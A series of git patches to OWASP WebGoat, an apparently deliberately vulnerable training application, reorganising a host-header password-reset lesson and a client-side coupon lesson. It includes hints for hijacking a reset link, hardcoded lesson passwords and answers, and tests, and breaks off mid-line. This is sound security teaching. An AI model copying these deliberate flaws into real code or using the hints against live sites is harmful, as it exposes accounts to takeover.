diff --git a/webgoat-lessons/challenge/src/main/resources/templates/success.html b/webgoat-lessons/password-reset/src/main/resources/templates/success.html similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/templates/success.html rename to webgoat-lessons/password-reset/src/main/resources/templates/success.html diff --git a/webwolf/src/main/java/org/owasp/webwolf/requests/WebWolfTraceRepository.java b/webwolf/src/main/java/org/owasp/webwolf/requests/WebWolfTraceRepository.java index 43a04b1afe..d4d2922907 100644 --- a/webwolf/src/main/java/org/owasp/webwolf/requests/WebWolfTraceRepository.java +++ b/webwolf/src/main/java/org/owasp/webwolf/requests/WebWolfTraceRepository.java @@ -20,6 +20,7 @@ public class WebWolfTraceRepository implements TraceRepository { private final EvictingQueue traces = EvictingQueue.create(10000); + private List exclusionList = Lists.newArrayList("/WebWolf/mail","/WebWolf/files", "/login", "/favicon.ico", "/js/", "/webjars/", "/WebWolf/requests", "/css/"); @Override public List findAll() { @@ -33,11 +34,15 @@ public List findAllTraces() { return Lists.newArrayList(traces); } + private boolean isInExclusionList(String path) { + return exclusionList.stream().anyMatch(e -> path.contains(e)); + } + @Override public void add(Map map) { Optional host = getFromHeaders("host", map); String path = (String) map.getOrDefault("path", ""); - if (host.isPresent() && path.contains("/landing")) { + if (host.isPresent() && !isInExclusionList(path)) { traces.add(new Trace(new Date(), map)); } } From 6e003bc0886809298f8dd01f70753e826767c492 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sat, 26 May 2018 18:48:48 +0200 Subject: [PATCH 66/76] Working last password assignment --- .../resources/i18n/WebGoatLabels.properties | 3 +- .../owasp/webgoat/plugin/PasswordReset.java | 2 +- .../{questions => }/QuestionsAssignment.java | 2 +- .../{resetlink => }/ResetLinkAssignment.java | 20 +-- .../{simple => }/SimpleMailAssignment.java | 3 +- .../main/resources/html/PasswordReset.html | 138 ++++++++---------- .../resources/i18n/WebGoatLabels.properties | 4 +- .../en/PasswordReset_host_header.adoc | 2 +- .../webgoat/plugin/LandingAssignment.java | 2 +- .../requests/WebWolfTraceRepository.java | 2 +- 10 files changed, 85 insertions(+), 93 deletions(-) rename webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/{questions => }/QuestionsAssignment.java (97%) rename webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/{resetlink => }/ResetLinkAssignment.java (90%) rename webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/{simple => }/SimpleMailAssignment.java (98%) diff --git a/webgoat-lessons/challenge/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/challenge/src/main/resources/i18n/WebGoatLabels.properties index 40f882656c..e79acbac55 100644 --- a/webgoat-lessons/challenge/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/challenge/src/main/resources/i18n/WebGoatLabels.properties @@ -22,8 +22,7 @@ challenge.flag.incorrect=Sorry this is not the correct flag, please try again. ip.address.unknown=IP address unknown, e-mail has been sent. -login_failed=Login failed -login_failed.tom=Sorry only Tom can login at the moment + required4=Missing username or password, please specify both. user.not.larry=Please try to log in as Larry not {0}. \ No newline at end of file diff --git a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/PasswordReset.java b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/PasswordReset.java index 9e4f3143e2..d2e9ac6f75 100644 --- a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/PasswordReset.java +++ b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/PasswordReset.java @@ -6,7 +6,7 @@ import java.util.ArrayList; import java.util.List; -public class PasswordReset extends NewLesson { +public class PasswordReset extends NewLesson { @Override public Category getDefaultCategory() { return Category.AUTHENTICATION; diff --git a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/questions/QuestionsAssignment.java b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/QuestionsAssignment.java similarity index 97% rename from webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/questions/QuestionsAssignment.java rename to webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/QuestionsAssignment.java index e90f5cb2a3..f6c97ba890 100644 --- a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/questions/QuestionsAssignment.java +++ b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/QuestionsAssignment.java @@ -1,4 +1,4 @@ -package org.owasp.webgoat.plugin.questions; +package org.owasp.webgoat.plugin; import org.apache.commons.lang3.StringUtils; import org.owasp.webgoat.assignments.AssignmentEndpoint; diff --git a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/resetlink/ResetLinkAssignment.java b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/ResetLinkAssignment.java similarity index 90% rename from webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/resetlink/ResetLinkAssignment.java rename to webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/ResetLinkAssignment.java index 4b3fdfab28..99eb8c41e1 100644 --- a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/resetlink/ResetLinkAssignment.java +++ b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/ResetLinkAssignment.java @@ -1,11 +1,13 @@ -package org.owasp.webgoat.plugin.resetlink; +package org.owasp.webgoat.plugin; import com.google.common.collect.EvictingQueue; import com.google.common.collect.Maps; import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentHints; import org.owasp.webgoat.assignments.AssignmentPath; import org.owasp.webgoat.assignments.AttackResult; import org.owasp.webgoat.plugin.PasswordResetEmail; +import org.owasp.webgoat.plugin.resetlink.PasswordChangeForm; import org.springframework.beans.factory.annotation.Value; import org.springframework.http.HttpEntity; import org.springframework.http.HttpHeaders; @@ -27,6 +29,7 @@ * @since 8/20/17. */ @AssignmentPath("/PasswordReset/reset") +@AssignmentHints({"password-reset-hint1", "password-reset-hint2", "password-reset-hint3", "password-reset-hint4", "password-reset-hint5"}) public class ResetLinkAssignment extends AssignmentEndpoint { private static final String PASSWORD_TOM_9 = "somethingVeryRandomWhichNoOneWillEverTypeInAsPasswordForTom"; @@ -46,12 +49,10 @@ public class ResetLinkAssignment extends AssignmentEndpoint { private final RestTemplate restTemplate; private final String webWolfMailURL; - private final String webwolfLandingURL; - public ResetLinkAssignment(RestTemplate restTemplate, @Value("${webwolf.url.mail}") String webWolfMailURL, @Value("${webwolf.url.landingpage}") String webwolfLandingURL) { + public ResetLinkAssignment(RestTemplate restTemplate, @Value("${webwolf.url.mail}") String webWolfMailURL) { this.restTemplate = restTemplate; this.webWolfMailURL = webWolfMailURL; - this.webwolfLandingURL = webwolfLandingURL; } @RequestMapping(method = POST, value = "/create-password-reset-link") @@ -63,7 +64,7 @@ public AttackResult sendPasswordResetLink(@RequestParam String email, HttpServle if (org.springframework.util.StringUtils.hasText(email)) { if (email.equals(TOM_EMAIL) && host.contains("8081")) { //User indeed changed the host header. userToTomResetLink.put(getWebSession().getUserName(), resetLink); - fakeClickingLinkEmail(cookie, host, resetLink); + fakeClickingLinkEmail(host, resetLink); } else { sendMailToUser(email, host, resetLink); } @@ -88,7 +89,7 @@ private void sendMailToUser(@RequestParam String email, String host, String rese * which user we need to trace the incoming request. In normal situation this HOST will be in your * full control so every incoming request would be valid. */ - private void fakeClickingLinkEmail(String cookie, String host, String resetLink) { + private void fakeClickingLinkEmail(String host, String resetLink) { try { HttpHeaders httpHeaders = new HttpHeaders(); HttpEntity httpEntity = new HttpEntity(httpHeaders); @@ -104,12 +105,12 @@ public AttackResult login(@RequestParam String password, @RequestParam String em if (TOM_EMAIL.equals(email)) { String passwordTom = usersToTomPassword.getOrDefault(getWebSession().getUserName(), PASSWORD_TOM_9); if (passwordTom.equals(PASSWORD_TOM_9)) { - return failed().feedback("login_failed").build(); + return trackProgress(failed().feedback("login_failed").build()); } else if (passwordTom.equals(password)) { - return success().feedback("challenge.solved").feedbackArgs("test").build(); + return trackProgress(success().build()); } } - return failed().feedback("login_failed.tom").build(); + return trackProgress(failed().feedback("login_failed.tom").build()); } @GetMapping("/reset-password/{link}") @@ -124,7 +125,6 @@ public String resetPassword(@PathVariable(value = "link") String link, Model mod } } - @PostMapping("/change-password") public String changePassword(@ModelAttribute("form") PasswordChangeForm form, BindingResult bindingResult) { if (!org.springframework.util.StringUtils.hasText(form.getPassword())) { diff --git a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/simple/SimpleMailAssignment.java b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/SimpleMailAssignment.java similarity index 98% rename from webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/simple/SimpleMailAssignment.java rename to webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/SimpleMailAssignment.java index e608742dd7..bcd821743f 100644 --- a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/simple/SimpleMailAssignment.java +++ b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/SimpleMailAssignment.java @@ -1,4 +1,4 @@ -package org.owasp.webgoat.plugin.simple; +package org.owasp.webgoat.plugin; import org.apache.commons.lang3.StringUtils; import org.owasp.webgoat.assignments.AssignmentEndpoint; @@ -24,6 +24,7 @@ * @since 8/20/17. */ @AssignmentPath("/PasswordReset/simple-mail") + public class SimpleMailAssignment extends AssignmentEndpoint { private final String webWolfURL; diff --git a/webgoat-lessons/password-reset/src/main/resources/html/PasswordReset.html b/webgoat-lessons/password-reset/src/main/resources/html/PasswordReset.html index d4a652c702..5dfc6f708a 100644 --- a/webgoat-lessons/password-reset/src/main/resources/html/PasswordReset.html +++ b/webgoat-lessons/password-reset/src/main/resources/html/PasswordReset.html @@ -137,95 +137,85 @@

WebGoat Password Recovery

-
-
-
-

- - Account Access -

-
- -
-
- @ - -
-
+ +
+
+
+

+ + Account Access +

+
+ +
+
+ @ + +
+
- -
-
- -

- - Forgot your password? - -

-
-
- -
- +
+ +

+ + Forgot your password? + +

+
+
+ +
+ + +

+ + Account Access + +

+ + +
-
- -
-
-
-
-
- -
-
- -
-
-

diff --git a/webgoat-lessons/password-reset/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/password-reset/src/main/resources/i18n/WebGoatLabels.properties index 5cc0406b10..3b3f6bb699 100644 --- a/webgoat-lessons/password-reset/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/password-reset/src/main/resources/i18n/WebGoatLabels.properties @@ -16,4 +16,6 @@ password-reset-hint1=Try to send a password reset link to your own account at {u password-reset-hint2=Look at the link, can you think how the server creates this link? password-reset-hint3=Tom clicks all the links he receives in his mailbox, you can use the landing page in WebWolf to get the reset link... password-reset-hint4=The link points to localhost:8080/PasswordReset/.... can you change the host to localhost:8081 -password-reset-hint5=Intercept the request and change the host header \ No newline at end of file +password-reset-hint5=Intercept the request and change the host header +login_failed=Login failed +login_failed.tom=Sorry only Tom can login at the moment \ No newline at end of file diff --git a/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_host_header.adoc b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_host_header.adoc index fa0261e73f..1daea2dc6e 100644 --- a/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_host_header.adoc +++ b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_host_header.adoc @@ -14,5 +14,5 @@ The time out is necessary to restrict the attack window, having a link opens up Tom always resets his password immediately after receiving the email with the link. Try to reset the password of Tom (tom@webgoat-cloud.org) to your own choice and login as Tom with -that password. If you did submit is in the e-mail address and submit again. +that password. diff --git a/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/plugin/LandingAssignment.java b/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/plugin/LandingAssignment.java index 1ae6ea707e..18e954b0fa 100644 --- a/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/plugin/LandingAssignment.java +++ b/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/plugin/LandingAssignment.java @@ -21,7 +21,7 @@ @AssignmentPath("/WebWolf/landing") public class LandingAssignment extends AssignmentEndpoint { - @Value("${webworf.url.landingpage}") + @Value("${webwolf.url.landingpage}") private String landingPageUrl; @PostMapping diff --git a/webwolf/src/main/java/org/owasp/webwolf/requests/WebWolfTraceRepository.java b/webwolf/src/main/java/org/owasp/webwolf/requests/WebWolfTraceRepository.java index d4d2922907..23e95ba021 100644 --- a/webwolf/src/main/java/org/owasp/webwolf/requests/WebWolfTraceRepository.java +++ b/webwolf/src/main/java/org/owasp/webwolf/requests/WebWolfTraceRepository.java @@ -20,7 +20,7 @@ public class WebWolfTraceRepository implements TraceRepository { private final EvictingQueue traces = EvictingQueue.create(10000); - private List exclusionList = Lists.newArrayList("/WebWolf/mail","/WebWolf/files", "/login", "/favicon.ico", "/js/", "/webjars/", "/WebWolf/requests", "/css/"); + private List exclusionList = Lists.newArrayList("/WebWolf/home", "/WebWolf/mail","/WebWolf/files", "/images/", "/login", "/favicon.ico", "/js/", "/webjars/", "/WebWolf/requests", "/css/", "/mail"); @Override public List findAll() { From d2b6725f3bd0c35b6b1bb1443e4e8c7303710b25 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sun, 27 May 2018 12:41:52 +0200 Subject: [PATCH 67/76] Moved challenge2 to client-side-filtering as final assignment --- .../webgoat/plugin/SolutionConstants.java | 1 - .../webgoat/plugin/challenge2/Challenge2.java | 39 ------ .../src/main/resources/html/Challenge2.html | 112 ------------------ .../plugin/challenge2/Assignment2Test.java | 49 -------- .../ClientSideFilteringFreeAssignment.java} | 19 +-- .../owasp/webgoat/plugin}/ShopEndpoint.java | 8 +- .../css/clientSideFilteringFree.css} | 0 .../resources/html/ClientSideFiltering.html | 89 ++++++++++++++ .../resources/i18n/WebGoatLabels.properties | 4 + .../main/resources/images/samsung-black.jpg | Bin .../main/resources/images/samsung-grey.jpg | Bin .../resources/js/clientSideFilteringFree.js} | 2 +- .../en/ClientSideFiltering_final.adoc} | 0 ...ClientSideFilteringFreeAssignmentTest.java | 49 ++++++++ .../webgoat/plugin}/ShopEndpointTest.java | 12 +- .../owasp/webgoat/plugin/SimpleXXETest.java | 1 - 16 files changed, 163 insertions(+), 222 deletions(-) delete mode 100644 webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge2/Challenge2.java delete mode 100644 webgoat-lessons/challenge/src/main/resources/html/Challenge2.html delete mode 100644 webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/plugin/challenge2/Assignment2Test.java rename webgoat-lessons/{challenge/src/main/java/org/owasp/webgoat/plugin/challenge2/Assignment2.java => client-side-filtering/src/main/java/org/owasp/webgoat/plugin/ClientSideFilteringFreeAssignment.java} (52%) rename webgoat-lessons/{challenge/src/main/java/org/owasp/webgoat/plugin/challenge2 => client-side-filtering/src/main/java/org/owasp/webgoat/plugin}/ShopEndpoint.java (89%) rename webgoat-lessons/{challenge/src/main/resources/css/challenge2.css => client-side-filtering/src/main/resources/css/clientSideFilteringFree.css} (100%) rename webgoat-lessons/{challenge => client-side-filtering}/src/main/resources/images/samsung-black.jpg (100%) rename webgoat-lessons/{challenge => client-side-filtering}/src/main/resources/images/samsung-grey.jpg (100%) rename webgoat-lessons/{challenge/src/main/resources/js/challenge2.js => client-side-filtering/src/main/resources/js/clientSideFilteringFree.js} (94%) rename webgoat-lessons/{challenge/src/main/resources/lessonPlans/en/Challenge_2.adoc => client-side-filtering/src/main/resources/lessonPlans/en/ClientSideFiltering_final.adoc} (100%) create mode 100644 webgoat-lessons/client-side-filtering/src/test/java/org/owasp/webgoat/plugin/ClientSideFilteringFreeAssignmentTest.java rename webgoat-lessons/{challenge/src/test/java/org/owasp/webgoat/plugin/challenge2 => client-side-filtering/src/test/java/org/owasp/webgoat/plugin}/ShopEndpointTest.java (74%) diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/SolutionConstants.java b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/SolutionConstants.java index 4f5c38effd..333d29b2cc 100644 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/SolutionConstants.java +++ b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/SolutionConstants.java @@ -10,7 +10,6 @@ public interface SolutionConstants { //TODO should be random generated when starting the server String PASSWORD = "!!webgoat_admin_1234!!"; - String SUPER_COUPON_CODE = "get_it_for_free"; String PASSWORD_TOM = "thisisasecretfortomonly"; String PASSWORD_LARRY = "larryknows"; String JWT_PASSWORD = "victory"; diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge2/Challenge2.java b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge2/Challenge2.java deleted file mode 100644 index 94b1cf58b8..0000000000 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge2/Challenge2.java +++ /dev/null @@ -1,39 +0,0 @@ -package org.owasp.webgoat.plugin.challenge2; - -import com.google.common.collect.Lists; -import org.owasp.webgoat.lessons.Category; -import org.owasp.webgoat.lessons.NewLesson; - -import java.util.List; - -/** - * @author nbaars - * @since 3/21/17. - */ -public class Challenge2 extends NewLesson { - - @Override - public Category getDefaultCategory() { - return Category.CHALLENGE; - } - - @Override - public List getHints() { - return Lists.newArrayList(); - } - - @Override - public Integer getDefaultRanking() { - return 10; - } - - @Override - public String getTitle() { - return "challenge2.title"; - } - - @Override - public String getId() { - return "Challenge2"; - } -} diff --git a/webgoat-lessons/challenge/src/main/resources/html/Challenge2.html b/webgoat-lessons/challenge/src/main/resources/html/Challenge2.html deleted file mode 100644 index 777761ed16..0000000000 --- a/webgoat-lessons/challenge/src/main/resources/html/Challenge2.html +++ /dev/null @@ -1,112 +0,0 @@ - - - - - -
-
- - -
-
- -
-
- - -
- -
- -
-
-

Samsung Galaxy S8

-
Samsung · - (124421 reviews) -
- -
- PRICE -
-

US $899

- -
-
- COLOR -
-
-
-
-
-
-
-
- CAPACITY -
-
-
64 GB
-
128 GB
-
-
-
-
- QUANTITY -
-
-
- -
-
-
- -
-
- CHECKOUT CODE -
- - - -
- -
- -
- Like
-
-
-
- -
-
-
-
-
-
-
- -
-
- -
-
- -
- -
-
-
-
-
- - \ No newline at end of file diff --git a/webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/plugin/challenge2/Assignment2Test.java b/webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/plugin/challenge2/Assignment2Test.java deleted file mode 100644 index edf70df283..0000000000 --- a/webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/plugin/challenge2/Assignment2Test.java +++ /dev/null @@ -1,49 +0,0 @@ -package org.owasp.webgoat.plugin.challenge2; - -import org.hamcrest.CoreMatchers; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.mockito.runners.MockitoJUnitRunner; -import org.owasp.webgoat.assignments.AssignmentEndpointTest; -import org.owasp.webgoat.plugin.Flag; -import org.owasp.webgoat.plugin.SolutionConstants; -import org.springframework.test.web.servlet.MockMvc; -import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; - -import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; -import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup; - -/** - * @author nbaars - * @since 5/2/17. - */ -@RunWith(MockitoJUnitRunner.class) -public class Assignment2Test extends AssignmentEndpointTest { - - private MockMvc mockMvc; - - @Before - public void setup() { - Assignment2 assignment2 = new Assignment2(); - init(assignment2); - new Flag().initFlags(); - this.mockMvc = standaloneSetup(assignment2).build(); - } - - @Test - public void success() throws Exception { - mockMvc.perform(MockMvcRequestBuilders.post("/challenge/2") - .param("checkoutCode", SolutionConstants.SUPER_COUPON_CODE)) - .andExpect(jsonPath("$.feedback", CoreMatchers.containsString("flag: " + Flag.FLAGS.get(2)))) - .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true))); - } - - @Test - public void wrongCouponCode() throws Exception { - mockMvc.perform(MockMvcRequestBuilders.post("/challenge/2") - .param("checkoutCode", "test")) - .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved")))) - .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false))); - } -} \ No newline at end of file diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge2/Assignment2.java b/webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/plugin/ClientSideFilteringFreeAssignment.java similarity index 52% rename from webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge2/Assignment2.java rename to webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/plugin/ClientSideFilteringFreeAssignment.java index d465355893..d27e67c867 100644 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge2/Assignment2.java +++ b/webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/plugin/ClientSideFilteringFreeAssignment.java @@ -1,9 +1,9 @@ -package org.owasp.webgoat.plugin.challenge2; +package org.owasp.webgoat.plugin; import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentHints; import org.owasp.webgoat.assignments.AssignmentPath; import org.owasp.webgoat.assignments.AttackResult; -import org.owasp.webgoat.plugin.Flag; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestParam; @@ -11,22 +11,23 @@ import java.io.IOException; -import static org.owasp.webgoat.plugin.SolutionConstants.SUPER_COUPON_CODE; - /** * @author nbaars * @since 4/6/17. */ -@AssignmentPath("/challenge/2") -public class Assignment2 extends AssignmentEndpoint { +@AssignmentPath("/clientSideFiltering/getItForFree") +@AssignmentHints({"client.side.filtering.free.hint1", "client.side.filtering.free.hint2", "client.side.filtering.free.hint3"}) +public class ClientSideFilteringFreeAssignment extends AssignmentEndpoint { + + public static final String SUPER_COUPON_CODE = "get_it_for_free"; @RequestMapping(method = RequestMethod.POST) public @ResponseBody - AttackResult completed(@RequestParam String checkoutCode) throws IOException { + AttackResult completed(@RequestParam String checkoutCode) { if (SUPER_COUPON_CODE.equals(checkoutCode)) { - return success().feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(2)).build(); + return trackProgress(success().build()); } - return failed().build(); + return trackProgress(failed().build()); } } diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge2/ShopEndpoint.java b/webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/plugin/ShopEndpoint.java similarity index 89% rename from webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge2/ShopEndpoint.java rename to webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/plugin/ShopEndpoint.java index 12c9294929..de3efb0dc0 100644 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge2/ShopEndpoint.java +++ b/webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/plugin/ShopEndpoint.java @@ -1,4 +1,4 @@ -package org.owasp.webgoat.plugin.challenge2; +package org.owasp.webgoat.plugin; import com.beust.jcommander.internal.Lists; import lombok.AllArgsConstructor; @@ -12,21 +12,21 @@ import java.util.List; import java.util.Optional; -import static org.owasp.webgoat.plugin.SolutionConstants.SUPER_COUPON_CODE; +import static org.owasp.webgoat.plugin.ClientSideFilteringFreeAssignment.SUPER_COUPON_CODE; /** * @author nbaars * @since 4/6/17. */ @RestController -@RequestMapping("challenge-store") +@RequestMapping("/clientSideFiltering/challenge-store") public class ShopEndpoint { @AllArgsConstructor private class CheckoutCodes { @Getter - private List codes = Lists.newArrayList(); + private List codes; public Optional get(String code) { return codes.stream().filter(c -> c.getCode().equals(code)).findFirst(); diff --git a/webgoat-lessons/challenge/src/main/resources/css/challenge2.css b/webgoat-lessons/client-side-filtering/src/main/resources/css/clientSideFilteringFree.css similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/css/challenge2.css rename to webgoat-lessons/client-side-filtering/src/main/resources/css/clientSideFilteringFree.css diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/html/ClientSideFiltering.html b/webgoat-lessons/client-side-filtering/src/main/resources/html/ClientSideFiltering.html index 7e861d4ee3..fba83fe8d2 100644 --- a/webgoat-lessons/client-side-filtering/src/main/resources/html/ClientSideFiltering.html +++ b/webgoat-lessons/client-side-filtering/src/main/resources/html/ClientSideFiltering.html @@ -73,7 +73,96 @@
+
+
+ + +
+
+ +
+
+ + +
+ +
+ +
+
+

Samsung Galaxy S8

+
Samsung · + (124421 reviews) +
+ +
+ PRICE +
+

US $899

+ +
+
+ COLOR +
+
+
+
+
+
+
+
+ CAPACITY +
+
+
64 GB
+
128 GB
+
+
+
+
+ QUANTITY +
+
+
+ +
+
+
+
+
+ CHECKOUT CODE +
+ + + +
+ +
+ +
+ Like
+
+
+
+ +
+
+
+
+
+
+
+
diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/client-side-filtering/src/main/resources/i18n/WebGoatLabels.properties index e9a0443253..0288c3ddf7 100644 --- a/webgoat-lessons/client-side-filtering/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/client-side-filtering/src/main/resources/i18n/WebGoatLabels.properties @@ -26,3 +26,7 @@ ClientSideFilteringHint10=Stage 2: Your filter operator should look something li ClientSideFilteringInstructions1=STAGE 1: You are logged in as Moe Stooge, CSO of Goat Hills Financial. You have access to everyone in the company's information, except the CEO, . Or at least you shouldn't have access to the CEO's information. For this exercise, examine the contents of the page to see what extra information you can find. ClientSideFilteringInstructions2=STAGE 2: Now, fix the problem. Modify the server to only return results that Moe Stooge is allowed to see. ClientSideFiltering.incorrect=This is not the salary from Neville Bartholomew... + +client.side.filtering.free.hint1=Look through the webpage inspect the sources etc +client.side.filtering.free.hint2=Try to see the flow of request from the page to the backend +client.side.fiterling.free.hint3=One of the responses contains the answer diff --git a/webgoat-lessons/challenge/src/main/resources/images/samsung-black.jpg b/webgoat-lessons/client-side-filtering/src/main/resources/images/samsung-black.jpg similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/samsung-black.jpg rename to webgoat-lessons/client-side-filtering/src/main/resources/images/samsung-black.jpg diff --git a/webgoat-lessons/challenge/src/main/resources/images/samsung-grey.jpg b/webgoat-lessons/client-side-filtering/src/main/resources/images/samsung-grey.jpg similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/samsung-grey.jpg rename to webgoat-lessons/client-side-filtering/src/main/resources/images/samsung-grey.jpg diff --git a/webgoat-lessons/challenge/src/main/resources/js/challenge2.js b/webgoat-lessons/client-side-filtering/src/main/resources/js/clientSideFilteringFree.js similarity index 94% rename from webgoat-lessons/challenge/src/main/resources/js/challenge2.js rename to webgoat-lessons/client-side-filtering/src/main/resources/js/clientSideFilteringFree.js index 78df37939f..5ea7688758 100644 --- a/webgoat-lessons/challenge/src/main/resources/js/challenge2.js +++ b/webgoat-lessons/client-side-filtering/src/main/resources/js/clientSideFilteringFree.js @@ -38,7 +38,7 @@ $(document).ready(function () { }) $(".checkoutCode").on("blur", function () { var checkoutCode = $(".checkoutCode").val(); - $.get("challenge-store/coupons/" + checkoutCode, function (result, status) { + $.get("clientSideFiltering/challenge-store/coupons/" + checkoutCode, function (result, status) { var discount = result.discount; if (discount > 0) { $('#discount').text(discount); diff --git a/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_2.adoc b/webgoat-lessons/client-side-filtering/src/main/resources/lessonPlans/en/ClientSideFiltering_final.adoc similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_2.adoc rename to webgoat-lessons/client-side-filtering/src/main/resources/lessonPlans/en/ClientSideFiltering_final.adoc diff --git a/webgoat-lessons/client-side-filtering/src/test/java/org/owasp/webgoat/plugin/ClientSideFilteringFreeAssignmentTest.java b/webgoat-lessons/client-side-filtering/src/test/java/org/owasp/webgoat/plugin/ClientSideFilteringFreeAssignmentTest.java new file mode 100644 index 0000000000..956dde3432 --- /dev/null +++ b/webgoat-lessons/client-side-filtering/src/test/java/org/owasp/webgoat/plugin/ClientSideFilteringFreeAssignmentTest.java @@ -0,0 +1,49 @@ +package org.owasp.webgoat.plugin; + +import org.hamcrest.CoreMatchers; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.mockito.runners.MockitoJUnitRunner; +import org.owasp.webgoat.plugins.LessonTest; +import org.springframework.test.context.junit4.SpringJUnit4ClassRunner; +import org.springframework.test.web.servlet.MockMvc; +import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; +import org.springframework.test.web.servlet.setup.MockMvcBuilders; + +import static org.mockito.Mockito.when; +import static org.owasp.webgoat.plugin.ClientSideFilteringFreeAssignment.SUPER_COUPON_CODE; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; + +/** + * @author nbaars + * @since 5/2/17. + */ +@RunWith(SpringJUnit4ClassRunner.class) +public class ClientSideFilteringFreeAssignmentTest extends LessonTest { + + private MockMvc mockMvc; + + @Before + public void setup() { + ClientSideFiltering clientSideFiltering = new ClientSideFiltering(); + when(webSession.getCurrentLesson()).thenReturn(clientSideFiltering); + this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build(); + when(webSession.getUserName()).thenReturn("unit-test"); + } + + @Test + public void success() throws Exception { + mockMvc.perform(MockMvcRequestBuilders.post("/clientSideFiltering/getItForFree") + .param("checkoutCode", 